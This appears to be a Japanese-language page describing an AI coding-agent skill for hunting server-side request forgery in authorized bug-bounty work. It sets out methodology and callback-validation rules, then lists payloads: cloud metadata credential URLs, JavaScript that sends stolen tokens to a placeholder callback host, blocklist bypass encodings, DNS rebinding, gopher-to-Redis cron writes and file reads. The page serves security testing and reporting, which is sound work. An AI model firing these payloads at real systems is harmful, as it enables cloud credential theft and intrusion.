hunt-ssrf について
SSRFを調査するセキュリティ研究者向けのテストスキルです。帯域外コールバックによる確認とパラメーターごとの原因特定を重視し、URLのエラー表示と実際の外部リクエストを区別します。
主な機能
- 01帯域外コールバックでSSRFを確認
- 02パラメーターごとにリクエストを特定
- 03ブラインド型と完全読み取り型を区別
- 04クラウドメタデータと内部宛先を検査
- 05リダイレクトとブラウザー環境を評価
活用シーン
- 01URLプレビューやインポート機能の調査
- 02クラウドメタデータへのアクセス検証
- 03外部リクエストを起こすパラメーターの特定
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-ssrfインストール後、Claude Code で/hunt-ssrfを入力して読み込まれたか確認します。
詳細
最優先の標的
SSRF の価値が最も高いのは、メタデータサービスが認証情報を公開するクラウドインフラストラクチャ(AWS、GCP、Azure)上で標的が稼働している場合、または複雑な内部ネットワーク(Kubernetes クラスター、マイクロサービスメッシュ、内部 API)内にサーバーが配置されている場合です。優先度の高い標的は次のとおりです。
- クラウドホスト型の SaaS 製品(
169.254.169.254またはmetadata.google.internalの GCP メタデータ、AWS IMDSv1) - Kubernetes/オーケストレーションプラットフォーム — 集約 API サーバー、metrics-server、kubelet エンドポイントから、特権を要するクラスター操作が可能です
- 内部開発者向けツール — CI/CD、ワークフローオーケストレーション(Flyte、Argo)、外部に公開されていない管理パネル
- リンクプレビュー/URL 取得機能 — Reddit 形式のプレビュー API、Slack 形式のリンク展開、メディア処理ツール
- データセット/ファイルのインポートパイプライン — ユーザーに代わってリモート URL を取得するものすべて
- エンタープライズ向けセルフホスト型ソフトウェア(GitHub Enterprise、GitLab) — SSRF は内部サービス経由で RCE に連鎖することがよくあります
SSRF がクラウド認証情報 → アカウント乗っ取り、内部管理 API → データ流出、または RCE への連鎖に到達した場合、報奨金は最も高くなります。
OOB で確認できなければ未成立のゲート(最初に読むこと)
ブラインド SSRF の主張には、必ずアウトオブバンド(OOB)での確認が必要です。例外はありません。
OOB とは、Burp Collaborator ドメイン、interactsh-client リスナー、canarytoken、またはサーバーが実際にあなたに代わって外部ネットワーク接続を行ったことを確認できる、あなたが管理する DNS+HTTP 受信先を指します。
SSRF の確認にならないもの
- サーバーがエラーメッセージであなたの URL をそのまま返すこと。例:
"The Web application at http://evil.example.com/x could not be found"— これはサーバーが入力をエラー文字列に整形しているだけで、外部への HTTP リクエストを行っているわけではありません。エラーはネットワーク障害ではなく、文字列の整形によって発生しています。 - 外部 URL と
localhostで、サーバーが異なるステータスコードを返すこと。異なるエラーレスポンスは、実際の取得ではなく URL スキームの検証による可能性があります。 - URL の送信後に応答が遅れること。遅延は、HTTP の取得が完了したためではなく、パーサー内部で DNS 解決を試みたために発生している可能性があります。
SSRF の確認になるもの
- 一意の Collaborator サブドメインに対する DNS ルックアップが、OOB リスナーに記録されること。
- サーバーの送信元 IP と User-Agent を含む HTTP リクエストが、あなたの Collaborator HTTP エンドポイントに届くこと。
- JavaScript 実行コンテキスト(PDF レンダラー、ヘッドレスブラウザー)での SSRF の場合、サーバーからコールバック URL へのフェッチが行われること。
デフォルトのワークフロー
- まず Collaborator ペイロードを設置します。 サブタグ付け(
dlsrcurl.<collab>、import.<collab>)が機能するのは、リスナーが照会されたサブドメインを実際に報告する場合だけです。これに頼る前に、必ず確認してください。 Burp のget_collaborator_interactionsは結果をサブドメインではなくペイロード ID でキー付けするため、1 つのペイロードから生成した複数のサブタグは出力上で区別できません。その場合は、候補パラメーターごとに新しいペイロードを生成し、ペイロードごとにリクエストを 1 件だけ送信してください。 - 標的のエンドポイントにリクエストを送信します。
- 30~120 秒待ってから、OOB リスナーを確認します。
- コールバックが確認されてから初めて、SSRF を主張します。
- すべてのサブタグ付きシンクでコールバックがゼロの場合、エラーメッセージに URL が表示されていても、SSRF の主張を撤回しなければなりません。
認可済みのエンゲージメントでの教訓: SharePoint の /_layouts/15/download.aspx?SourceUrl= は、タイトルが "The Web application at <attacker-URL> could not be found" となる 500 エラーを返しました。初回スキャンでは、サーバーが URL を明らかに処理しているとして SSRF と判定されました。URL を受け付ける 12 件以上のパラメーターに対して、Collaborator のタグ付きペイロードを 38 件送信しましたが、DNS または HTTP のインタラクションは一度もありませんでした。「エコー」はクライアント側でのエラー文字列の整形によるもので、サーバーは外部への HTTP リクエストを一度も行っていません。このパスは汎用 URL フェッチャーではなく、実際には SP 内部の SPFile/SPWebApplication リゾルバーです。これを SSRF として報告していたら、トリアージで対象外と判定されていたでしょう。
報告する前に、コールバックの原因を1つのパラメーターに特定する
コールバックは、サーバーがリクエストを行ったことを証明します。ただし、どのパラメーターが原因かは分かりません。修正方法は、その特定に完全に依存します。
BAD — four candidate fields, one payload, fired in one batch
-> callbacks arrive, attribution impossible, retest required
GOOD — fresh payload per field, one request each, poll between
url -> callbacks <- this is the sink
apiUrl -> none
endpoint -> none
target -> none
ネガティブコントロールを実行してください。 コールバックが発生しないパラメーターも証拠であり、報告に含めてください。これにより、クライアントは誤ったパラメーターを許可リストに追加するのではなく、正しいフィールドを修正できます。
許可を得たエンゲージメントからの教訓。 サーバー側のリクエスト転送エンドポイントは、urlとapiUrlの両方を受け付けていました。アプリケーションが保存している設定ではapiUrlが使われていたため、これが明らかな容疑でした。しかし、apiUrlは機能しておらず、実際のシンクはurlでした。
両方をまとめて送信すると、原因を特定できないままコールバックが発生しました。ペイロードを個別に分離して初めて、実際のパラメーターを特定できました。apiUrlを名指しした報告では、クライアントは何もしないフィールドを修正することになっていたでしょう。
重大度を判断する前に、ブラインドかフルリードかを確認する
コールバックによってリクエストがサーバーから送信されたことを確認したら、上流のレスポンスボディが返されるかどうかを確認してください。 これらは別々の所見です。
- ブラインド(コールバックのみで、ボディなし):単独では報告対象にしないでください。報告可能にするには、到達可能な内部サービス、または返されたデータが必要です。
- フルリード(上流のボディがレスポンスに含まれる):重大度は大幅に高くなります。任意の内部エンドポイントを直接読み取れます。
# one request settles it: fetch something with a known, recognisable body
-d '{"url":"https://example.com/"}'
# {"statusCode":200,"data":"<!doctype html>...<title>Example Domain</title>..."}
# ^ body returned = full-read, not blind
既知の内部ターゲットと既知の外部ターゲットのボディも比較してください。リンクローカルアドレスで異なるステータスが返される場合(例:他のすべてのターゲットが200を返す中、169.254.169.254が401を返す場合)、メタデータサービスが応答しています。これは、ステータスコードだけでは確認できない、インターネットからルーティングできないアドレスへの到達を証明します。
攻撃対象領域の兆候
探すべき URL パターン
/api/*/preview
/api/*/fetch
/api/*/import
/api/*/webhook
/api/*/proxy
/api/*/render
/api/*/link
/api/*/screenshot
/api/*/export
/api/*/validate
?url=
?uri=
?endpoint=
?redirect=
?src=
?source=
?feed=
?host=
?target=
?dest=
?file=
?path=
?callback=
?image=
?load=
?fetch=
JS パターン(クライアント側コード内)
// Look for these in JS bundles
fetch(userInput)
axios.get(params.url)
XMLHttpRequest + variable URL
url: req.body.url
src: params.source
href: query.endpoint
レスポンスヘッダーの兆候
X-Forwarded-For headers echoed back
Server: internal-service
Via: 1.1 internal-proxy
X-Cache headers revealing internal hostnames
技術スタックの兆候
- Kubernetes — 公開されている集約 API やメトリクスエンドポイント
- GCP — Compute Engine/GKE 上で動作し、URL を取得するサービス
- Node.js/Python と URL 取得ライブラリ(
requests、node-fetch、axios) - ヘッドレスブラウザー(Puppeteer、PhantomJS)をスクリーンショットや PDF に使用 — 非常に価値が高い
- XML/DSPL/CSV のインポート機能 — XXE 型の SSRF ベクター
- OAuth/ウェブフック登録エンドポイント
ステップごとのハンティング手法
-
対象全体で URL を入力するすべてのパラメーターを洗い出します:JS ファイルを巡回して fetch 呼び出しを探し、すべての API ドキュメントを確認し、ファイルインポート、リンクプレビュー、Webhook、画像プロキシ、リダイレクト機能を調べます。
-
帯域外検出サーバーをセットアップします:Burp Collaborator、interactsh、または
https://canarytokens.orgを使用します。テストごとに一意の DNS/HTTP コールバックドメインが必要です。 -
まずコールバック URL をパラメーター値として送信します(何より先にブラインド SSRF を確認します)。
url=https://YOUR.interactsh.com/testサーバーから外部への接続が発生することを確認します。これにより、内部のターゲットを試す前に処理が実行されることを証明できます。
-
クラウドの内部メタデータエンドポイントをテストします:
- GCP:
http://metadata.google.internal/computeMetadata/v1/ - AWS:
http://169.254.169.254/latest/meta-data/ - Azure:
http://169.254.169.254/metadata/instance
- GCP:
-
localhost と一般的な内部ポートをテストします:
http://localhost/ http://127.0.0.1:8080/ http://127.0.0.1:6443/ (Kubernetes API) http://127.0.0.1:2379/ (etcd) http://127.0.0.1:9090/ (Prometheus) http://127.0.0.1:9200/ (Elasticsearch) -
リダイレクトを利用した SSRF を確認します — エンドポイントが初期 URL を検証しても、30x リダイレクトをたどる場合は、内部アドレスを指すリダイレクトサーバーをホストします。Kubernetes のレポート(レポート 3)は、乗っ取られた API サーバーが 30x 応答を返すことで、特に引き起こされました。
-
JavaScript 実行コンテキストをテストします(ヘッドレスブラウザー、PDF レンダラー):
- 内部サービスに
XMLHttpRequestまたはfetch()呼び出しを行う<script>タグを注入します - DNS 経由でデータを持ち出します:応答データをコールバックドメインのサブドメインにエンコードします
- 内部サービスに
-
タイミングの差やエラーメッセージの違いを使って内部ネットワークを列挙します:
- 応答時間を使ったポートスキャン(
connection refusedとタイムアウトの違い) - ホスト名/IP の漏えいがないかエラーメッセージを確認します
- 応答時間を使ったポートスキャン(
-
調査結果を連鎖させます — 内部サービスへの SSRF がある場合は、次を探します:
- 認証されていない管理者エンドポイント
- Redis、memcached(プロトコルスマグリング)
- 内部 OAuth トークンエンドポイント
- SSRF → CSRF → RCE(GitHub Enterprise のパターン)
-
報告前に、各段階のスクリーンショットを添えて一連の流れを記録します。
ペイロードと検出パターン
基本的な帯域外検出
# Using interactsh-client
interactsh-client -v
# Test parameter
curl -s "https://target.com/api/preview?url=https://YOUR_ID.oast.pro"
# With common headers that might unlock SSRF
curl -s "https://target.com/api/fetch" \
-H "Content-Type: application/json" \
-d '{"url":"https://YOUR_ID.oast.pro"}'
クラウドメタデータのペイロード
# GCP - requires Metadata-Flavor header (test if server adds it automatically)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://169.254.169.254/computeMetadata/v1/project/project-id
http://metadata/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/
# AWS IMDSv1 (no auth required)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data
# AWS ECS task credentials (retrieve from env var AWS_CONTAINER_CREDENTIALS_RELATIVE_URI)
http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}
# Azure - instance metadata and managed identity token
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Requires Metadata: true header for Azure requests
# Kubernetes service account credentials (file:// SSRF)
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
localhost/内部ポートのペイロード
# Kubernetes internals
http://127.0.0.1:6443/api/v1/namespaces
http://10.0.0.1:6443/api/v1/secrets
http://127.0.0.1:10250/pods # kubelet
http://127.0.0.1:2379/v2/keys # etcd
# Common internal services
http://127.0.0.1:6379/ # Redis (check for inline commands)
http://127.0.0.1:9200/_cat/indices # Elasticsearch
http://127.0.0.1:5601/ # Kibana
http://127.0.0.1:8500/v1/catalog/services # Consul
リダイレクトを利用した SSRF(直接アクセスがブロックされる場合)
# Simple Python redirect server
from http.server import HTTPServer, BaseHTTPRequestHandler
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(301)
self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
self.end_headers()
HTTPServer(('0.0.0.0', 8080), Redirect).serve_forever()
JavaScript ベースの SSRF(ヘッドレスブラウザーのコンテキスト)
// Exfil via fetch
fetch('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token', {
headers: {'Metadata-Flavor': 'Google'}
}).then(r=>r.text()).then(d=>{
fetch('https://YOUR.callback.com/?d='+btoa(d))
})
// DNS exfil for blind contexts
var x = new XMLHttpRequest();
x.open('GET','http://169.254.169.254/latest/meta-data/');
x.send();
x.onload = function(){
var img = new Image();
img.src = 'https://'+btoa(x.responseText.substring(0,50))+'.YOUR.callback.com';
}
ソースコードレビュー用 grep パターン
# Find URL fetch operations
grep -rE "(fetch|curl|urllib|requests\.get|http\.get|axios\.get)\s*\(" --include="*.py" --include="*.js" --include="*.go"
# Find URL parameters being passed to HTTP clients
grep -rE "(url|uri|endpoint|redirect|src|source)\s*=\s*req\.(query|body|params)" --include="*.js"
# Find redirect following
grep -rE "(follow_redirects|allow_redirects|followRedirects)\s*=\s*[Tt]rue"
ffuf によるパラメーターの検出
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-u "https://target.com/api/endpoint?FUZZ=https://YOUR.callback.com" \
-fs 0 -mc all
よくある根本原因
-
「ユーザーが安全だと言った」 — 開発者は、リンクプレビュー、サムネイル、Webhook などでリモートリソースを取得する際、ユーザー提供の URL を信頼し、アクセス先を検証しません。この機能自体は正当なものですが、検証が欠けていることが脆弱性です。
-
リダイレクトによる許可リストの回避 — 開発者は初期 URL を許可リストと照合しますが、HTTP クライアントはリダイレクトを自動的にたどるように設定しています。攻撃者の許可リスト上のサーバーが、内部アドレスへリダイレクトします。
-
集約/プロキシ API への信頼 — Kubernetes 方式のアーキテクチャでは、API 集約レイヤーが登録済みの拡張サーバーからの 30x 応答を無条件にプロキシします。単一の拡張サーバーを侵害すると、コア API に対する SSRF が可能になります。
-
サンドボックス化されていないサーバーサイドレンダリング — ヘッドレスブラウザー機能(PDF 生成、リンクプレビューのスクリーンショット)は、メタデータサービスにアクセス可能なネットワーク権限を持つコンテキストで、攻撃者が制御する JavaScript を実行します。
-
外部エンティティを取得する XML/DSPL/ファイルパーサー — 構造化ファイル(XML、DSPL、リモートスキーマを使用する CSV)を解析するインポート機能は、攻撃者が制御する URL を取得します。多くの場合、URL 検証はまったく行われていません。
-
応答の違いを介した内部ホスト名の漏えい — サービスが内部ホストと外部ホストで異なるエラーメッセージ、タイミング、応答サイズを返すため、コンテンツが返されなくてもブラインド列挙が可能になります。
-
IMDSv1 が依然として有効 — IMDSv2(AWS)への移行が済んでいない、または
Metadata-Flavorヘッダー(GCP)を必須にしていないクラウド環境では、あらゆる SSRF から認証なしで認証情報にアクセスできます。
回避手法
ブロックリスト回避(localhost、127.0.0.1、169.254.x.x がブロックされている場合)
# IPv6 equivalents
http://[::1]/
http://[::ffff:127.0.0.1]/
http://[::ffff:169.254.169.254]/
# Decimal/octal/hex encoding of IP
http://2130706433/ (127.0.0.1 decimal)
http://0x7f000001/ (127.0.0.1 hex)
http://0177.0.0.1/ (octal)
http://127.1/ (short form)
http://0/ (resolves to 0.0.0.0)
# DNS rebinding - register a domain that resolves to internal IP after first check
# Use https://lock.cmpxchg8b.com/rebinder.html
# Subdomain pointing to internal IP
http://localtest.me/ (resolves to 127.0.0.1)
http://127.0.0.1.nip.io/
http://customer.attacker.com/ (A record → 192.168.1.1)
# URL parser confusion
http://[email protected]/
http://127.0.0.1#evil.com
http://127.0.0.1%[email protected] (URL encoding)
http://evil.com\.127.0.0.1/ (backslash)
# Protocol confusion
file:///etc/passwd
dict://127.0.0.1:6379/
gopher://127.0.0.1:6379/_FLUSHALL (Redis via gopher)
sftp://attacker.com:11111/
ldap://127.0.0.1/
# Redirect chain bypass
https://allowlisted-domain.com → HTTP 301 → http://169.254.169.254/
# Case variation / URL encoding
http://Localhost/
http://127.0.0.1%[email protected]/
アプリケーション層の入力エンコーディングによるバイパス(フィルターが見るものとフェッチャーが見るものが異なる)
エンドポイントがターゲット URL をラップ/エンコードされた形で受け取る場合 — パス内の base64 ブロブ、二重エンコードされたパラメータ、JSON にネストされた値など — フロントエンドの WAF/許可リストは生の入力を検査しますが、バックエンドはフェッチ前にデコードします。フィルターが平文で 169.254 や localhost を見ることのないよう、内部ターゲットをエンコードします:
# target URL base64'd into a path segment the app decodes, then fetches
GET /proxy/aHR0cDovLzE2OS4yNTQuMTY5LjI1NC8=/x.js # = http://169.254.169.254/ (disclosed: reports/1189367)
# double-URL-encode the host so one decode pass survives the filter
url=http%253A%252F%252F169.254.169.254%252F
パラメータがフェッチ前に1回デコードされるのか、2回なのか、それとも base64 化されているのかを必ずテストしてください — デコードの回数がバグです。
パス正規化/セミコロンによるバイパス(フロントエンドフィルター vs オリジンパス)
内部ホストへの url= をブロックするフロントエンドは、オリジンがエッジでそのまま残されたパスセグメントを再正規化する場合に回避できます — ;/、/../、またはマトリックスパラメータのセグメントを注入することで、エッジはそれを無害としてルーティングしますが、オリジンは SSRF フェッチとして解決します:
GET /;/;/resource/md/get/url?url=http://oast.example/ # edge ignores, origin fetches (disclosed: reports/2035332)
このパス混同による完全読み取り SSRF は、直接の url= パラメータではブロックされていたクラウド認証情報のエンドポイントに到達します。
スキーマ/プロトコルによるバイパス
# When only http/https allowed but implementation is loose
http://169.254.169.254:[email protected]/
//169.254.169.254/
TOCTOU(検査時刻と使用時刻の差)
- URL を検証 → スリープ → 内部へリダイレクト(DNS リバインディングとの競合状態)
- TTL 0 のドメインを登録し、検証とフェッチの呼び出しの間で DNS をローテーションする
レスポンスが返らない場合(ブラインド SSRF)
- DNS のみのコールバックを使用する(サブドメインラベルにデータをエンコード)
- タイミングの差異をポートスキャンに利用する
- 異なる HTTP メソッド(PUT/DELETE)を使い、内部サービスで異なる挙動を引き起こす
- レスポンスデータを漏洩させる他のバグと組み合わせる(例:エラーメッセージ、ログ)
ゲート 0 の検証
レポートを書く前に、次の3点をすべて確認してください:
-
攻撃者は今この瞬間、何ができるのか?
- 内部ネットワークへのアクセスを証明するレスポンスを取得できますか?(メタデータトークン、内部 API のレスポンス、または確認済みの DNS コールバックを示してください)
- ブラインドの場合:ポートの識別や、特定の内部アドレスに紐づく確認済みの OOB コールバックを実証できますか?
- 「サーバーがリクエストを送る」だけでは不十分です — どこへ行き、何が返ってくるのかを示してください。
-
被害者は何を失うのか?
- クラウド認証情報(IAM トークン)→ クラウドアカウント全体の侵害につながるか?
- 内部サービスのデータ(ユーザーの個人情報、シークレット、API キー)?
- 内部の管理サービスを経由して RCE へピボットできるか?
- 答えが「サーバーが自分の URL をフェッチするだけ」であれば、深刻度は低いです — 実際に到達可能な影響範囲を定量化してください。
-
ゼロから10分以内に再現できるか?
- 脆弱なエンドポイントはまだ稼働しており、パラメータもまだ存在しますか?
- コールバックサーバーは(断続的ではなく)確実にヒットを示しますか?
- 事前知識のない別の人物があなたの手順をたどって同じ結果を得られますか?
- 再現に特定のタイミング、トークン、または運が必要な場合は、提出前に不安定さを解消してください。
実際の影響の例
シナリオ A:リンクプレビュー経由のクラウド認証情報の窃取(Snapchat/GCP のパターン)
公開向けの「リンクプレビュー」API が url パラメータを受け取り、サムネイルコンテンツを生成するためにターゲットをサーバー側でフェッチしていました。この機能は IMDSv1 が有効で、サーバー側で Metadata-Flavor ヘッダーの強制がない GCP Compute Engine 上で動作していました。url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token を指定することで、攻撃者はインスタンスのサービスアカウントに対する有効な OAuth2 アクセストークンを取得しました。このトークンは、ユーザーデータを含むストレージバケットなど、内部の GCP プロジェクトリソースへのアクセスを許可していました。攻撃者はヘッドレスレンダリングコンテキスト内での JavaScript 実行を利用し、DNS エンコードされたサブドメイン経由でトークンを窃取し、レスポンスボディの制限を回避しました。
シナリオ B: ハイジャックされた集約サーバーを経由した Kubernetes API の侵害 (Kubernetes パターン)
Kubernetes API 拡張サーバー (metrics-server 相当) を登録できた攻撃者が、集約レイヤーに対して 302 Location: http://127.0.0.1:6443/api/v1/secrets レスポンスを返しました。集約プロキシが、宛先を内部ネットワークのブロックリストに対して再検証することなくリダイレクトを自動的に追跡したため、このリダイレクトによって集約レイヤー自身 (昇格されたクラスター認証情報で実行されていた) が内部の Kubernetes API シークレットを取得し、レスポンス内にそれらを返してしまいました。これにより、限られた API 登録権限しか持たない攻撃者が、クラスターのシークレット全体への読み取りアクセスまで昇格できる実質的な脆弱性が生じました。これは、信頼されたインフラストラクチャコンポーネントを連鎖的に悪用した SSRF による、重大な権限昇格です。
開示済みレポートの引用 (補遺 +6 — 2018-2024)
以下の実際に検証されたバグバウンティ / 調整済み開示の事例は、このスキルを拡張するものです。3 社すべてのクラウドメタデータに対する SSRF、DNS リバインディング、gopher 経由の Redis RCE、リンクプレビュー SSRF、ヘッドレスブラウザ / PDF ジェネレーターの連鎖がすべて含まれています。
-
HackerOne — 分析レポートにおける SSRF (PDF ジェネレーター → AWS メタデータ) (H1 #2262382 · Writeup)
- サブクラス: ヘッドレスブラウザ SSRF (PDF ジェネレーター) → AWS メタデータ SSRF (IMDSv1)
- ペイロード: サーバーサイドでレンダリングされるテンプレート要素に
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">を注入; バックエンドの Ruby ループが信頼できないテンプレート HTML を PDF にレンダリングし、レンダリングされた PDF / エラーメッセージ内に IMDS レスポンスを反映させた - 根本原因: サニタイズされていないユーザー制御のテンプレートフラグメントが PDF レンダリングパイプラインで反映される; IMDSv2 が強制されていない
- 年: 2023 — $25,000 (CVSS 10.0 重大)
-
Shopify Exchange — スクリーンショットサービスにおける SSRF → GCP メタデータ → コンテナ root (H1 #341876)
- サブクラス: GCP メタデータ SSRF → SSRF から RCE への連鎖
- ペイロード: partners.shopify.com でストアを作成し、
password.liquidテンプレートを編集してMetadata-Flavor: Googleを付けてhttp://metadata.google.internal/computeMetadata/v1/へのリクエストを埋め込み、その後 Exchange のスクリーンショットサービスをトリガーしてテンプレートをサーバーサイドでレンダリングさせた - 根本原因: スクリーンショットサービスが、メタデータホストのブロックリストもメタデータ隠蔽プロキシもなしに、ユーザー制御のテンプレートを取得していた
- 年: 2018 — $25,000 (ヘッドレスブラウザ → メタデータの代表例)
-
Concrete CMS — DNS リバインディングによる SSRF 緩和策のバイパス → AWS IAM キー (H1 #1369312)
- サブクラス: DNS リバインディング SSRF → AWS メタデータ SSRF (IMDSv1)
- ペイロード: URL からのファイルアップロード機能; 攻撃者の DNS サーバーが
Aレコードを1.2.3.4(パブリック) と169.254.169.254の間で交互に切り替えた; 検証と取得の間の競合に勝つには 2〜3 回のリクエストが必要だった; 最後のリクエストで IAM ロールの認証情報を取得した - 根本原因: ホスト名を一度解決して検証した; ダウンロードパスが、検証済み IP をピン留めすることなく DNS を再解決していた
- 年: 2021 — 8.5.7 / 9.0.1 で修正
-
Yahoo Mail — ブラインド SSRF → Gopher → Redis RCE (Writeup)
- サブクラス: gopher プロトコルの悪用 → Redis SSRF → SSRF から RCE への連鎖
- ペイロード: Yahoo Mail バックエンドのブラインド SSRF に
gopher://internal-redis:6379/_*1%0d%0a$8%0d%0aflushall...SET stuff /var/spool/cron/root...BGSAVEで到達 — Redis 経由で cron を書き込み、コマンド実行を実現した - 根本原因: gopher スキームがブロックリストに含まれていなかった; 内部 Redis がデフォルトポートで認証なしだった; SSRF ターゲットが攻撃者ホストから
gopher://への 302 リダイレクトを受け入れた - 年: 2020 — $15,000
-
Reddit Matrix —
preview_urlAPI のブラインド SSRF (H1 #1960765)- サブクラス:リンクプレビューの SSRF(ブラインド型。タイミング/レスポンスコードを利用した内部ポートスキャン)
- ペイロード:
GET https://matrix.redditspace.com/_matrix/media/r0/preview_url/?url=http://10.0.0.0:80/— 内部 IP/ポートを変えて試行。修正前は、レスポンスの差異からサービス名と IP が漏えいしました - 根本原因:リンクプレビューのフェッチャーが RFC1918/リンクローカル宛先を拒否していませんでした。許可リストによる制限はスキームのみでした
- 年:2023年 — $6,000
-
Azure DevOps — Service Hooks の SSRF と endpointproxy の DNS リバインディングによるバイパス (Binary Security writeup)
- サブクラス:Webhook URL フィールドの SSRF + DNS リバインディングによる SSRF → Azure IMDS/マネージド ID
- ペイロード:設定したサービスフックの Webhook URL、または
endpointproxyの URL パラメーターに、攻撃者が DNS リバインディングを仕掛けるホストを指定。2 回目の名前解決で169.254.169.254が返されました。さらに CRLF インジェクションを連鎖させ、Azure IMDS に必要なMetadata: trueヘッダーを設定しました - 根本原因:検証時とフェッチ時に DNS の名前解決を別々に実行していました。URL パス内の CRLF により、Azure IMDS が必要とするヘッダーをインジェクションできました
- 年:2023~2024年 — 3 件のレポートで 合計 $15,000
関連するスキルとチェーン
cloud-iam-deep— SSRF はクラウドのメタデータサービスにアクセスするための典型的な入口です。チェーンのプリミティブ:SSRF → IMDSv1 トークン窃取 →cloud-iam-deepによる権限昇格で、クロスアカウントロールのiam:CreateUser/sts:AssumeRoleに到達します。hunt-llm-ai— fetch_url ツールを備えた LLM は、ネットワークのエグレス制御を回避する SSRF プロキシになります。チェーンのプリミティブ:LLM のツール使用(fetch_url)+ SSRF → 攻撃者の URL が、LLM コンテナーからチャット履歴と IMDS トークンを外部へ送信します。hunt-rce— 内部 Redis/Memcached はデフォルトで認証されておらず、gopher:// 経由で到達できます。チェーンのプリミティブ:SSRF + Gopher → 内部 Redis のCONFIG SET dir+ cron/SSH の authorized_keys への書き込みによる RCE。hunt-cloud-misconfig— 内部限定のバケット/API が SSRF のエグレス経由でアクセス可能になります。チェーンのプリミティブ:SSRF + DNS リバインディング → SSRF で保護されたエンドポイントのバイパス → 内部の /admin または非公開 S3 バケットの読み取り。security-arsenal— フィルターをテストする前に、SSRF IP バイパステーブル(10 進数 IP、IPv6 マップドアドレス、8 進数、末尾のドット、DNS リバインディング、リダイレクトチェーンなど、11 種類の手法)を読み込みます。triage-validation— OOB-Or-It-Didn't-Happen ゲートを適用します。ブラインド SSRF の報告にはすべて、報告を提出する前に、一意のマーカーを使った Burp Collaborator へのヒットが必要です。